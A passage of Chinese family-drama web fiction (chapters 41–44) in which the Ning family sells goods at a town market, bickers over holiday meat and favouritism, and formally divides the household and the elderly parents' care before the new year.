宁时夏眨眨眼睛,不懂但听话:“好,我悄悄分给哥哥。” “真乖,”宁达牵起小孙女的手,“走喽,回家吃午饭去。” 宁时夏高高兴兴地牵着爷爷的一根手指,跟着他往家的方向走。 结果走到一半,她觉得累了,有点走不动。 于是松开爷爷的手,不走了,蹲下大喊:“爷爷,我肚子疼,想拉粑粑!” 宁达一听慌了,赶紧问:“能憋住不?可不能拉路上,快点走,回家拉。” 宁时夏:“我肚子疼,走不动啦!” 宁达没办法,只能一把抄起小孙女背到背上,赶紧往家跑。 去菜园摘小葱回来的王海燕,远远地看见公公往家跑,哈哈笑着拉赵如月出来看:“你看看那爷孙俩,我说的没错吧?” “快快快,老三媳妇儿你快带小夏去厕所。” 不等赵如月过来抱孩子下来,宁时夏已经自己滑到地上,对着她爷爷嘿嘿笑:“爷爷,我肚子不疼了。” 宁达真是又好气又好笑,在她屁股上拍了一下:“你这小丫头,又骗我!”偏偏这么小点的小孩子是不是真要上厕所还不好分辨,他不敢不当真。 万一孩子真拉半路上更糟,只能每次都赶紧背她回家。 王海燕:“爸,你还说她呢,每次都上当,你还老爱带她去,自己惯的能怪谁!小夏,爷爷带你去玩,竟然没给你买好吃的吗?” 40-50 第41章 王海燕故意用带着嫌弃和职责的语气叭叭叭地说: “你这当爷爷的带孙女出去玩,也不给买点好吃的,就光让小夏干巴巴地看你跟老头老太太下棋?哪有这样当人爷爷的,这样可不是好爷爷,看看人家那谁家的爷爷……” “爷爷没有不好,他对我最好了!”宁时夏再机灵,年纪也还小,哪看得出大人这样是真的还是在装。 在她心里爷爷对自己特别好,是好爷爷,听到大伯娘指责爷爷,宁时夏就着急了。 掏出包里的炸油馍给大伯娘看:“你看,给我买了炸油馍的!” 她护爷爷心切,宁达想阻止都来不及。 他既无奈又有点生气,这老大媳妇儿也真是的,竟然跟孩子耍这种心眼子,没个长辈的样子! 给孩子买点东西也非要知道,等知道了又要不高兴。 王海燕看宁达真给她买了东西,脸上笑容果然快挂不住了,觉得这老头是真偏心老三家的孩子,以前可没见过他给小春和丹萍买过这些。 她强撑着笑,用阴阳怪气的语调说:“哦哟哟哟,给你买炸油馍了呢,那挺好,大家都知道你爷爷对你最好了,可惜哟,就买一个,只能小夏自己吃独食了,你的哥哥姐姐们都吃不到。”说完就拿着小葱转身往屋里去了。 宁时秋听着大伯娘的话,心不断往下沉,又来了,才几天没听到这样怪怪的话,又来了。 他想替妹妹说她不会吃独食,她是个会分享的孩子,有好吃的很乐意给大家分的。 可是又想起以前发生过的类似场景,说怪话的大人们只是想欺负他们,从来不在意真正的他们是怎么样的,也不想听他们真实的想法。 解释几句,还会被大人说嘴巴厉害,顶嘴。 然而不等宁时秋说些什么,他妈妈已经开腔了。 “小夏吃得完就自己吃,吃不完就让你哥哥帮忙吃一点,大伯娘家的堂哥堂姐比你大十几岁,你没出生他们就吃过这个,可比你多吃好些年。 你年纪小,再吃十个八个,也不如他们吃过的多,以后长辈给你的东西就是你自己的,你想给别人分就给,不想给也没错。” 赵如月刚刚在旁边听着大嫂这话,也觉得心里很不舒服。 才三岁的孩子知道什么?孩子讨长辈喜欢是孩子的错吗?至于在孩子身上耍这种把戏? 看到女儿一脸迷茫不知所措的神色,赵如月怒上心头。 但又不想在女儿面前表现出来,只好压制住那股怒意,耐心哄孩子。 赵如月刚才说话的时候,没特地压住音量。 宁时秋很担心,妈妈说的话,好像是在反驳大伯娘,大伯娘最容不得别人反驳她。 大伯娘吵架特别厉害,她听到妈妈的话,会不会跑出来找妈妈吵架? 他妈妈那么温柔,很可能吵不过吵起来像泼妇一样的大伯娘。 谁知他担心的事情竟然没有发生,妈妈把妹妹哄好,就叫爷爷和他去吃午饭,然后抱着妹妹也进去了。 走到天井,遇到正在洗小葱的大伯娘,宁时秋悄悄瞄了她一眼,发现她好像没生气。 饭桌上遇到两个大人也像刚刚的事情没发生过一样,一点反应都没有。 这让宁时秋十分摸不着头脑,很想不通到底怎么回事。 虽然有点早熟,但年纪阅历依然不够的他,不知道这就是大人的世界。 在大人的世界里,大人们最懂得如何戴上面具,维持表面的和平。 有些人前一秒还吵得天翻地覆,恨不得要杀了对方全家,后一秒也可能又勾肩搭背哥俩好,只是心里怎么想不好说。 王海燕强撑着作为长辈和大嫂的面子,实际上心里悔得要命。 她不住地懊恼,自己这一年在孩子面前当教导者当习惯了,遇上点事就喜欢指点一番。 居然忘了人家亲妈已经回来,不管人家孩子有什么毛病,人家亲爹妈在,哪轮得到她去指指点点? 王海燕越想越后悔自己这张嘴没个把门,让儿子跟老三去鹏城的想法实现不了,她又想让儿子跟着老三学手艺。 事情还没来得及提,就惹了老三媳妇儿不高兴,她要是从中作梗,这事怕是成不了。 王海燕愁得不行,又强撑着面子,不愿意说几句软话,想就这么糊弄过去,等时间久了,这件事淡了再提。 赵如月不知道她的心思,但分家的想法越来越强烈,越来越急切。 吃过午饭,她跟宁绍明继续卖东西,昨天加上今天一天,袜子全部卖光。 围巾手套那些也只剩下大半袋。 赵如月都没想到街上的人购买力那么强,光是熟人跟熟人之间传消息,就把货卖得差不多了。 后面还有人听到消息来买袜子,但是已经买不着了。 这些人里有一部分只想买袜子,剩下一部分看到围巾、丝巾和手套价格实惠,没买到袜子也买了其中一件或者几件回去。 晚上趁着两个孩子跑出去玩还没回家,赵如月跟宁绍明说起分家的事。 “我觉得不能再耽搁了,你找个机会跟爸妈说吧,我们早点去订建房的材料,过完年马上开工建房。” 宁绍明听赵如月说了中午发生的事,跟她也是一样的想法。 “等明天东西卖得差不多,我就去跟爸妈说,让他们早点把分家这事办了,最好年前分好,我已经打听过建房材料的价格,水泥、河沙、砖头、石灰镇上能买到,也是相熟的人在卖,应该能给个优惠价格。” “也就钢筋可能要去县城订,会多花点钱,不过我们暂时只建一层,就算面积大点,也用不了多少钢筋,建成之后不着急装修的话,只把门窗水电装好,晾干房子,很快就能入住。” 赵如月:“你心里有数就好,那我们带孩子去县城玩,就跟家里说去看订钢筋?” 要不然可能还得带别人家孩子去,赵如月可不乐意。 这个宁绍明也没意见,夫妻俩商量了一会儿,中午的时候说晚点来的大姑姐来了。 隔着老远就听到她的声音:“本来想下午的时候来,谁知道家里又有点事,拖到天都黑了才有时间过来,妈,你把肉拿进去吧,做腊肠还是做什么随你们。” “今天提前拿肉来,年初二我就不给了哈,老三两口子呢?一年没见,我都怕走路上遇到他们认不出来。” 宁绍明站起来伸了伸筋骨,走出房间:“大姐,你说得也太夸张了,我又不是长相没定型的小孩子。” “哟,”宁美婷绕着三弟看了一圈,用打趣的语气说,“我看也没夸张多少,出去一年,你小子壮实不少,人也白了,跟三弟妹站在一起不那么像块炭了!” 宁绍明:“你也不看看我儿子闺女长什么样,他们那么白,说明我也本来也白,就是以前要下地干活晒黑了!” “得了吧,俩孩子这么好看,八成都是遗传弟妹的!” 赵如月恰好提了几袋东西出来:“姐,这是你家那份,正好你今天来,我也不用再跑一趟了。” 这些是给大姑姐一家准备的衣服。 以前家里穷,过年都紧巴巴的,大姑姐嫁的是镇上卖猪肉的人家,不缺肉吃,她知道娘家的情况,每年都会把初二回娘家才会带的肉,提前送回来。 老二一家的衣服,让婆婆给,是因为赵如月不喜欢跟二嫂打交道。 但她一直把大姑姐对家里的照顾记在心里,知道她会提前来家里送肉,就没让婆婆帮忙把衣服送去。 这会儿她拿出来的除了衣服,还有一袋分好的过年零食水果以及用礼盒装的干货。 宁美婷见到这么多东西,着实吓了一跳:“怎么给我拿那么多,不用给我这些,你们留着家里过年吃!” “家里还有呢,”宁绍明越过她,直接塞给跟她一起来的两个外甥,“少平、少光拿着,别跟舅舅客气!” 莫少平和莫少光兄弟俩乐颠颠地包了满怀,也不管他们妈妈在旁边嚷嚷不许拿。 以前他们妈妈提前给外婆家送完肉,回家和过年亲戚一起吃饭时,总会有人私下嘲笑他们妈妈,或者不怀好意地直接问妈妈,今年有没有提前给娘家送肉,娘家又给了她什么回礼。 这次带回去那么多东西,看谁还敢嘲笑他们妈妈! 宁美婷收到东西,心里也高兴得很。 往年她初二回娘家,娘家人也会给她回一只自家养的鸡,一点糖饼。 可她帮衬娘家的更多,年前提前给娘家送肉,初二只带一点东西来,婆家人面上不好看,也不合规矩,她婆家人难免会不高兴。 今年可好,三弟把之前借她的钱还了不说,还按照肉价多给了钱,说今天带回来的肉算他买的,宁美婷不收都不行。 还给她家那么多好东西,今年她在婆家,也能扬眉吐气一回了! 宁绍明没跟大姐说自己准备分家的事,不过跟她解释了,今年是他一回来就忙昏了头,没能提前说,往后过年她就不用再提前给家里送肉了。 其实全家一起供二哥读书那些年,家里日子过得紧巴很正常,可二哥工作后,他但凡回馈一点给家里,也不至于需要嫁出去的女儿提前拿肉回来给娘家撑场面。 这件事宁绍明不知道大哥和二哥是什么想法。 以前他们夫妻俩在他们这一辈里年纪最小,在家里话语权不高,家里这种事,他们无权也没有能力做决定,即使觉得丢脸也没办法改变。 现在快要分家了,他也有了回馈的能力,可不想再让姐姐因为这种事难堪。 不管别人以后如何跟大姐家往来,反正他是不愿意再收这提前送来的肉。 这天晚上,宁绍明睡前去了一趟父母的房间。 叶菁从厕所里出来,回房间的路上恰好看见,正悄悄想过去听听他们说什么,又有点犹豫。 结果她还在纠结,宁绍明已经出来了。 其实宁绍明也看到她了,只是大晚上静悄悄的,还没别人在场,他一个小叔子不好过去跟嫂子搭话,就装作没看到,径直走了。 等宁绍明走远,叶菁急忙回到房间。 她看向快要睡着的丈夫,很想把他摇清醒,又想起刚回来那天他们之间的争吵,这男人的心还是偏向他的父母兄弟。 最后叶菁还是没叫醒他。 她心想:等着瞧吧,你三弟已经偷偷去跟那老两口商量了,要不了多久,就能看到他们的真面目! 你也会清醒地认识到,谁跟你才是真正的一家人! 第42章 第二天是集日,赵如月找来一个晾衣服的木架子,把围巾、丝巾全都挂到衣架上,又把衣架挂到架子上。 早上天蒙蒙亮她就起床,顾不上吃早饭,赶紧开门架子搬到门口。 他们榕溪镇周围,有像王海燕娘家那个村子一样,距离镇上只需要走半个小时,甚至十几分钟路程的村子。 也有需要走一两个小时,甚至三个小时路程的偏远小村。 那些偏远村子里的人,每逢集日才会出来镇上买东西。 他们为了当天能在天黑前及时赶回家,需要早早到达镇上赶早市。 按照路程,天不亮就得起床,争取早上六七点到达镇上,在早市上买足家里需要的东西,中午再赶回家。 街上来买东西的人少了,赵如月想尽快把货清掉,今天要做的就是这些偏远村里人的生意。 东西拿出来,挂上一个写了价格的牌子,再让宁绍明弄个灯吊在屋檐上,照明外加吸引人。 宁家在偏远村子也有亲戚,往常亲戚们出来赶集日的早市,他们家都会提前准备一壶热茶或者热汤。 让亲戚们在家里喝口热乎的,歇歇脚再去集上逛。 今天赵如月让宁绍明多准备了一些茶水,还有一包一次性杯子。 不管是不是亲戚,只要过来看货,她都给人家倒一杯热茶。 镇上那些买衣服的店铺,目前很少有像她一样,把东西的价格标得明明白白,都是人家去问,店主才会说价格。 某些店主给熟人报的价格,跟陌生人也不一样,不懂讲价的人去买大概率会吃亏,尤其是不太常来镇上的人,有些甚至不敢主动去问价格。 以至于标价的有可能比不标价的贵点,他们也愿意直接买有标价的东西,反正大部分东西都有大概的价格范围,贵点也不会贵得太离谱。 赵如月把架子摆出来没多久,就遇上了这样的老乡。 人家话也不多说,喝了热茶,就问一句:“老板,同一种东西,不同花色,也都是这个价格?” 得到赵如月肯定的回答,人家选好喜欢的花色,直接就掏钱买下来了。 赵如月看她买的多,给抹了个零头。 这个客人还很高兴地说:“老板你做生意真实诚,抹掉的零头,够我的午饭钱了,以后你会一直在这里开店吧?” 赵如月说:“我这是年底清货,卖完就干别的了。” 那人还觉得很可惜,她很喜欢这样明码标价的老板,不然有时候去问了价格不买东西,会遭老板白眼,每次她都会难受得很长时间都不想来镇上。 赵如月趁机给自家还没影子的餐饮店做宣传:“我跟我老公年后会在石榴林那边建房子,开店卖吃的,你以后上街逛累了,可以去我们店里喝口热汤歇歇脚。” “好好好,我到时候一定去!” 赵如月卖出去一单就跟人宣传一次,因为对客人态度好,这个宣传效果还不错。 他们家的店还没开,镇上和一些村子里,大部分人都知道年后镇上要开一家新的餐饮店了。 连宁时秋和宁时夏出门玩,也有一起玩的小伙伴甚至路上遇到的大人问到这事。 刚开始被问到还好,后面一个问题回答得太多,把他们都问烦了。 两个孩子干脆不出门,兄妹俩自己在家里玩。 今天一上午,赵如月昨天剩下的大半袋货就差不多卖完了。 只能下一条围巾和四双手套。 客人越来越少,赵如月干脆收了摊,剩下的这点东西留着自己用。 到今天,带回来的货算是全都卖光了,他们夫妻俩才能真正歇一口气,吊着半截的心也能落到实处。 扣掉运费和进货的本钱,还有留给自家人用以及送人的那部分,这一批货让他们赚了两万多,将近三万块钱! 赵如月喜滋滋地在房间里算着账,觉得现在的生活太有盼头了。 按照镇上建房的价格,这些钱,他们建两层楼都够。 只是主体建好,这些钱也会被花光光,别说装修,连买门窗的钱都没了。 所以他们让人决定只建一层平房,房子面积建得大点,以后可以跟老宅一样,隔成两个院子。 以后要是挣了钱,有继续往上建的需求,再加建第二第三层。 算好账,赵如月趁着下午镇上的农信社人少,抓紧时间把钱存好,这才完全放心。 她回到家,看宁绍明脸色不太好,疑惑地问:“怎么了?脸色那么差。” 宁绍明打起精神摇头说:“没什么。” 看出有事,但他不太想说,没跟她商量的事应该不是什么大事,赵如月就没追着问。 “那我去厨房喝口水,你看看今晚吃什么,昨晚大姐拿回来的肉,妈打算怎么处理?” 她这么一问,宁绍明脸色又更难看了点:“她说切出来三斤过年吃,剩下的十来斤做成腊肠。” 听到只留三斤过年吃,赵如月也不太高兴,往常大姐拿回来的肉,婆婆也是这么处理。 过年的时候吃一大家子吃三四斤肉,加上杀的鸡和菜园子里的菜凑一桌子。 剩下十来斤做成腊肠,但那些腊肠一般会让老二家带走大半。 往年他们没出钱,婆婆这么做,他们没有不高兴的立场,毕竟那些肉是大姐带回来孝敬爸妈的,家里谁想多吃点就自己买。 可今年的肉是他们花钱,家里其他人也没出钱,甚至离除夕只剩一天了,家里过年的东西依然只有他们带回来那些。 赵如月:“要不我去跟妈说说?孩子们都大了,吃得多,今年不做那么多腊肠了,过年这几天多煮几斤肉,让孩子们吃个过瘾。” 宁绍明想了想再次摇头:“算了,分家那事还没落到实处,闹出来不好看,最后一年了,暂时忍忍,大不了我们明天带孩子去玩,提前带他们吃点好的。” “行吧,听你的。”赵如月今天心情好,也不想多纠结这种容易剪不断理还乱,会让她心情不好的事。 宁绍明出门了,她进厨房倒凉白开喝。 宁时夏不知道从哪儿钻出来,跟着她溜进厨房。 “妈妈,”宁时夏扯了扯赵如月的衣袖,“我知道爸爸为什么不高兴。” 赵如月惊讶:“你怎么知道?” 她举着手上的铁皮小青蛙:“爸爸跟二伯说话的时候,我在柴堆里捡玩具,他们没看到我。” “你爸爸跟你二伯说完话就不高兴了?” “嗯!”宁时夏重重点头,“爸爸想借二伯的摩托车去县城,他说回来会帮二伯给摩托车加满油,二伯不愿意,说那车的刹车有点问题,要拿去二伯娘的娘家,让她娘家的邻居帮忙修好才能骑,二伯骗人,我没过多久,就看到二伯娘的亲戚骑着那车载着家人,往大伯娘的娘家村子那条路开走了,爸爸也看到了。” “原来是这样。”赵如月大概知道宁绍明气什么了。 如果他二哥明说那车答应借给别人,他不会多想,可说了刹车有问题要修,转头又有人骑着车带家人去村里走亲戚,说明他二哥撒谎,宁绍明不生气才怪。 “妈妈,你让爸爸别难过,”宁时夏发出豪言壮语,“以后等我有钱,给爸爸买四个轮子的,也给你买,四个轮子那个才威风,以后二伯来借车,我们也不借给他。” 赵如月毫不怀疑女儿这些话的真实性,别看她年纪还小,记性可好了,上辈子女儿真给她买过车,只是她不敢开,一直闲置,后来把那台车给外甥开了,把她闺女气得不想理她。 她轻轻捏了捏女儿红扑扑的小脸蛋夸道:“好,我闺女真有志气,不过你给你爸爸买就好,妈妈不会开。” 宁时夏:“妈妈学就好了呀,妈妈最聪明最厉害,肯定能学会!” “妈妈不敢学,也学不会。” “妈妈瞎说。” “你怎么知道妈妈是瞎说的?” “还没试过妈妈就说不会,不是瞎说是什么,一般我不乐意干才会说自己学不会,其实我可聪明了什么都能学会!”宁时夏对自己非常有自信,对自己妈妈也非常有自信。 “别人都说妈妈像我,嗯不对,我像妈妈,我这么聪明,妈妈肯定也聪明!” “好好好,我闺女最聪明,妈妈还有事要忙,你找你哥哥玩去吧。”赵如月把闺女哄走,也真要忙别的事了。 她娘家三叔这一年对两个孩子很照顾,他们找他看看小病,拿点药,三叔都不收钱。 前两天刚回来,比较忙,没能上门探望还能理解,现在有空了,怎么也得去看望一趟他老人家。 不过她爸兄弟四个,也不能只去探望三叔,另外两个叔伯也要一同探望一下。 红包金额三个叔伯都一样,只是给三叔的礼要重几分。 赵如月在房间里收拾要给叔伯们的东西和红包时,宁绍明也缓过来了,进来看到她在忙这些,就知道她要做什么了。 他爸是独生子,他倒是没有亲近的叔伯要探望,只有同族的两个堂叔,但是那两个堂叔也只是他爸的堂兄弟,跟他关系已经有点远了。 本地的规矩,除非谁家里有红白喜事,不然关系比较远的亲戚,过年时一般不会互相送礼。 宁绍明又转身出去了,没一会儿一手牵着一个孩子回来,给孩子们把脸和手擦擦干净,又换上新衣裳。 两个孩子能穿新衣服高兴得很,宁时夏牵着妈妈的手一路蹦蹦跳跳,直到发现他们去的是三外公家,她才傻眼了。 以为爸爸还记着她说腿疼的事,真带她来看病,死活不肯进去。 还是赵如月三叔从屋里出来,哪怕他笑眯眯的,小孩在他面前也都不敢造次,宁时夏也是。 看到三外公,她才跟个小鹌鹑似的跟着爸妈进去了,发现不是带她来看病开苦药吃,她才又活泼起来。 探望了几个长辈,一家人推辞了赵如月几个叔伯的留饭,跟最后一个长辈告辞回到家,发现家里气氛有点严肃。 不但家里其他人全都在,连他们家以前所在生产大队的大队长,还有村委的人也来了。 第43章 一看这架势,赵如月和宁绍明不用人说,也明白了家里要做什么。 只是他们很疑惑,怎么老两口突然就愿意在年前分家了? 宁绍明晚上去找过父母,跟他们提起想在年前分家。 老两口当时没同意,说什么年前分家不好、不吉利,他们老两口最后一年当家做主,想一家子先团团圆圆过个年,分家的事年后再说。 宁绍明觉得有点遗憾,但也不是不能接受。 今天他们却在自己一家出门走亲戚期间,一声不响地把大队长和村委的人叫来了。 “正好绍明两口子回来了,人齐了尽快开始吧,你们家这事好办,办完都不耽误回家吃晚饭。”说话的是他们以前所在大队,十一队的大队长梁文建。 现在虽然包产到户好些年了,但是镇上办事还是会按照大队来分派,大队以前的干事并入村委,依然负责自己大队的事宜。 分家这种事,不是自家说一句分家,再把放东西分一分就算完的。 分家还得办理分户,分户需要村委开证明,再到镇政府去办理。 还有水田、林地、山地这些农村人真正的命根子,以前只是大概分了分,没更名,正式分家后,也要跟宅基地一样,更名到新户的户主名下。 这些东西,分家的时候不分清楚,以后兄弟几个很容易吵架。 还有老人的养老问题,也要在分家的时候商量好,白纸黑字写清楚,以免以后有纠纷。 梁文建之所以说宁家的事好办,是他看多了镇上和大队里其他人家兄弟分家闹出来的事。 大部分人家会闹起来,要么是老人攒下的家底不够平分,要么是老人偏心眼,又想养老责任平分。 宁家看着穷,其实已经比大队里很多人家好多了。 至少梁文建印象里没见过宁家三兄弟,或者宁家的三个媳妇儿把家里矛盾闹到明面上来,让外人看笑话。 而且最重要的是,宁家老两口能攒下一个可以平均分成两个小院子的大院,还有一个面积不小的宅基地,算是给三个儿子都准备了房子。 分家的时候,要宅基地的儿子多分点钱,在房子方面,勉强算是对三个儿子都公平。 大队里和镇上多的是老两口生了好几个儿子,却只攒下一个院子,几个儿子里也没有哪个有出息,能自己申请宅基地建起新房子来。 结果就是巧妇难为无米之炊,老人的东西就那么点,谁都想要,谁都不服谁,那样的闹起来个个都跟他们哭诉自己日子难过,真的很让人头疼。 听到大队长的话,赵如月笑得客气:“梁叔难得来家里一次,哪能让你们饿着肚子就走,怎么也得留在家里吃顿便饭才行,你们聊着,我去做饭。” 反正该商量的她早就跟宁绍明商量好了,只要老两口不做得太离谱,她在不在影响都不大。 宁家其他人也纷纷出声,附和赵如月的话,劝来做见证的几个人留在家吃顿便饭,梁文建几人客气了几句才答应下来。 赵如月去厨房,王海燕也起身打算跟着去,反正她自己男人是长子,人又圆滑,儿女又长大了,在场看着,她家肯定不会吃亏。 她看老二媳妇儿那屁股像长在椅子上一样,动都没动一下,给叶菁使了个眼神,示意她们也该去厨房帮个忙。 叶菁假装没看到,不搭理她。 王海燕见状,疑心她会在分家的时候耍心眼,可自己都站起来了,再重新坐下去会显得太刻意突兀,王海燕只好提着心往厨房去了。 赵如月到了厨房,先给儿子二十块钱,让他骑车从后门出去,到小卖部买啤酒。 女儿刚刚没跟进来,让她爸抱着一起坐那儿听了。 小丫头机灵得很,要是宁绍明觉得有需要她的地方,还能让女儿悄悄来叫她。 赵如月在厨房里看了一圈,找到婆婆放肉的地方,那些肉还没被做成腊肠。 她拿起刀,刷刷两下,切下来一大块将近五斤的肉。 王海燕正好进来,看到她这么豪爽地切肉,吓了一大跳。 小碎步疾走过来,小声又紧张地问:“你怎么切那么多?这肉妈要用来做腊肠的,等下她看到,肯定数落你大手大脚,切个两三斤就差不多了!” “两三斤也就勉强够我们自家人吃,今天要招待客人,哪能那么抠搜,而且……”赵如月瞥了外面一眼,“我们不吃,留着以后有多少能吃到我们嘴里?” 王海燕抢肉的手一顿,愣了一下,很快明白了赵如月话里的意思。 她立马放开手:“也是,老婆子就知道偏心她家老二,说做腊肠留着以后家里慢慢吃,结果每年都让老二一家拿去县城一大半!” “你切吧,我不管了,”王海燕拿起旁边的菜篮子,“我择菜去,不过老婆子发现肉没了那么多,指定要不高兴,到时候我可不跟你一起背锅。” 赵如月笑了:“要背什么锅?大嫂你忘了,当初怎么说来着,过年过节要给过节费,谁想多吃肉也得自己出钱买,今年这肉可不是大姐送的,是我和绍明出钱买的,她不让吃可以啊,先把肉钱给我,也就是我跟宁绍明不想计较才没提。” “那是,你们两口子今年挣不少钱,可不得大方点!” 王海燕开了个玩笑,又想起一件事:“当初说好在家吃饭,各家每个月要给伙食费,我们的伙食费,算在田地出产里了,以前老三去砖厂上班,地里的活能干也帮着干,每个月还把一半工资给妈拿着,老二两口子没有地,按说他们回来吃饭也要给伙食费,可他们貌似没给过,是不是?” 赵如月:“这我就不清楚了,他们不是不常回来?” “呵,是不常回来,可一年回来的时间加起来,也有一两个月,而且他们哪次回来不搬米、搬菜、搬腊肉腊肠走?” 王海燕越想越觉得,这么多年算下来,自家真是亏大了:“他们两口子没有地,搬走的那些可不就是我们的,每次大米吃完了自己不买,还让老婆子找镇上拉客去县城的面包车给他们捎去,他们放假遇上农忙也不回来帮忙,吃倒是会吃!” “现在才说这个有什么用?其实以前意识到了也没用。”赵如月说这话,也不是想打击大嫂,只是不想她脑子发昏在分家的当口跑出去闹。 王海燕想到以前是公婆当家,瞬间冷静下来:“是啊,不是自己当家,有意见也没用,闹出来,我家那口子反而站在他爹妈兄弟那边,我算是看清他了!” 她看一眼剩下的那些肉,眼珠子一转撺掇赵如月:“弟妹,要不把这肉全煮了呗?你们俩出的钱,便宜那俩,你不膈应啊?” 赵如月:“……”是膈应,但权衡利弊之后,这点膈应可以暂且忽略不计。 不过她想了想说:“要是妈问起来,就说是你的主意,你乐意的话,随你煮,我不心疼。” “这……”王海燕有些犹豫。 赵如月:“肉是我出的钱,总不能我又出钱又背锅吧?” “说就说!”王海燕一咬牙,“都分家了,怕他个球!更别说还有客人在,她好意思当着客人的面骂我?她真不要面子训人,她几个儿子肯定也要面子,会拦住她!” 赵如月放下刀,比了个‘请’的手势,自觉退居二线给她打下手。 王海燕雄赳赳气昂昂地抄起菜刀,先切出来半个巴掌宽,手指尖到手腕那么长的一小块。 然后把其余的肉切成差不多的大块,焯水。 又找出一些卤料,放料、放肉。 “全给它卤了,现在天气冷,卤肉泡在卤水里能放好几天,她也不能说过年没肉吃了。” 王海燕又指了指留出来的那一小块肉,得意地说:“看看,我连过年拜神的猪肉都留出来了,老婆子也不能拿没猪肉拜神来数落我。” 赵如月给大嫂比了个大拇指,不走心地夸:“厉害,你竟然连这个都想到了。” “那可不,老婆子过年规矩多得很,拜神倒酒的顺序,有一点不对都要骂,倒酒的量多一点少一点也要骂,你忘了,有一年忘记留这块猪肉她气成什么样?” 过去那么久,赵如月还真忘了,不过这不重要。 现在特别讲究的规矩,后来轮到年轻人们长成了当家人时,可懒得讲究那么多,他们都是怎么方便怎么来。 老人们看着孙辈们做这些都是乐呵呵的,怎么做都夸,哪还有现在挑儿媳妇刺的架势? 后面热火朝天地做着饭,前面堂屋里,正在商量房子的分配问题。 叶菁和宁绍德两口子对视一眼,眼神又分开,紧张地盯着准备说话的宁达。 宁达清了清嗓子对梁文建说:“刚才梁老弟你也说了,我家的情况好办,房子按照规矩分,老房子砌一堵墙,分成两个院子,老大老二抽签,抽到哪边分哪边,老三分那个没起房子的宅基地,不过我们两口子的养老问题,我想换个不同的……” “什么!?”叶菁控制不住地发出惊讶的声音,打断了宁达的话。 这老头子对房子的分法,怎么跟她那天偷听到的不一样! 宁达止住了话,心中惊疑不定,难道老二媳妇儿提早知道了他们老两口的打算,不愿意? 宁绍德对老婆惊讶的原因心知肚明,他赢了。 但顾不上得意,毕竟夫妻一体,被人知道他们为什么打赌,对他也没好处。 宁绍德忙找了个借口,帮老婆遮掩过去:“没事没事,她是看爸的意思好像是不想跟大哥家住,太惊讶了,爸继续说吧,不用管她。” 第44章 叶菁又惊又疑,顺着宁绍德给的台阶下来:“对对对,我是太惊讶了,爸你别管我,继续说。” 宁达看了黄秀华一眼,黄秀华这下也摸不准老二两口子的意思了。 她敢跟老头子商量,在分家的时候,提出换个不同的养老方式,也是因为她认为老二往常最孝顺她,最听她的话。 黄秀华在家当家做主惯了,以往在家里几乎是说一不二。 哪怕分家的事耽搁了那么多年,她做了那么久的心里准备,也依然不太能接受在自己还能下地干活的时候,跟着儿子儿媳过日子,在儿媳手底下讨生活。 那天晚上,老三来找他们老两口,说他愿意放弃老宅分成的小院子,改要那个空宅基地自己建房。 他们非常惊喜,恨不得马上答应下来。 可老三来得太突然了,他又想年前把分家这事办好。 养老的事,他们老两口还没商量好,只能先拒绝老三年前分家的想法。 今天老三一家子去走亲戚,黄秀华就趁机去试探了老二对自己的孝心。 老二的回答,让她觉得,但自己的想法能成,虽然并没有跟老二明说他们想换一种养老方式。 于是才有了今天下午请人来做见证分家这事。 宁绍明看看他爸,又看看他妈,也大概明白了,今天突然分家的原因。 既然他们在养老方面有不同的想法,只要他自己不吃亏,他就不管。 毕竟他心里对他妈是有点怨气的,他妈不乐意跟他们过正好:“爸,妈,你们有什么想法尽管说出来,成不成的,说出来才好商量不是吗?” 宁绍德完全没意识到,今天他妈找他说那些话,不是觉得一年到头见到他的机会少,想跟他联络感情,而是想看他的态度。 也跟着说:“是啊,你们有想法就说呗,这时候不提出来,等事情定下,可不能后悔了。” 宁绍贤觉得无所谓,反正他的两个孩子已经长大,不但能帮忙干家里的家务活,地里的活也能帮得上忙,老人不跟他住,不给他家干活他也不介意。 黄秀华想了想那些早早仰仗儿子儿媳过日子的老太太,她们都过的什么日子。 越发坚持自己的想法:“那我就说了,在养老这方面,我们暂时不想按照老规矩来,现在我们还能下地,用不着儿子儿媳伺候,就不跟你们住了,你们偶尔有空来看看我们就行。” 宁绍德依然没反应过来,他还问:“那你们住哪儿?” 黄秀华听到他这话就是一惊,不由自主地看向宁达,老二这么问,接下来的话,她不敢说出口了。 宁达顾不了那么多,说都说了,干脆一股脑地全说完:“老二夫妻俩不常回老家,房子空着容易坏,我们暂时住在你们老家分到的那院子里,你们同意吗?” “啊?”宁绍德懵了,“爸妈养老全由我来负责?” 按照规矩来分担父母养老问题,他爸该跟大哥家过日子,他妈跟老三家过日子。 作为老二,或者说作为工作地点不在镇上的那个儿子,只需要多给点养老钱,有空再回来探望一下,不用带着其中一个一起过日子。 当然,如果他和他老婆愿意带老人去学校宿舍里住,养老方式也不是不能改成,父母的其中一个跟他住,没分到父母的那个多给养老钱。 但宁绍德自己也不愿意,他爸妈在乡下生活的一些习惯,让他觉得带到城里被同事看到会很丢人。 反正不管怎么分,也没有把父母全都分到他家的道理。 宁绍德此时甚至想暂停分家,让他老婆把他老丈人和大舅子一家叫来,再重新讨论。 叶菁听到公婆的话,更是差点又惊叫出声,她死死地掐着自己手心才忍住了。 宁绍贤悄悄戳了戳宁绍明的胳膊,用眼神和表情示意他看看老二两口子,再看看老太太那副难过得要死的表情。 他用气音在宁绍明耳边悄声说:“看看,妈平时不是总说,她家二儿最孝顺?哈哈!” 宁绍明无奈了:“爸还没说完呢,你先别高兴太早,他说暂时住二哥的院子,‘暂时’你不知道什么意思?” “什么意思?” 很快他就知道了那是什么意思。 宁达看老二不说话,有些心凉,但也能理解。 他解释道:“我们的意思是,在我们还能动的时候,不用你们伺候,我们老两口自己过,地也留一点,我们自己种些够我们吃的粮食,等什么时候我们老得动不了了,再按照规矩,我去老大家,你们妈去老三家。” 他这话一说出来,老二两口子在心里狠狠松一口气。 不过轮到老大跳起来了。 “不是,没有这么分的,你们老两口还能干活的时候,给老二家种地供他们吃喝,到老了干不动,就来我家让我媳妇儿伺候?” 黄秀华听他说这话刺耳,气得狠狠拍了一下桌子:“你这是什么话,什么叫我们给老二家种地,我们的意思是,我们还能动的时候,不要你们养,我们自己种地养活自己,种出来的粮食,我们老两口自己吃,那不是就不用你们给了吗!” 宁绍贤冷笑:“得了吧,你们两个老的能吃多少?多出来的,还不是便宜老二家!” “大哥你怎么能这么说爸妈!”宁绍德重新支棱了起来。 他指着宁绍贤骂他不孝:“爸妈难道没把你养大?父母养我们小,我们养父母老,你儿子也成年了,过几年你都是能当爷爷的人,这点小孩子都懂的道理,你难道不懂吗?” 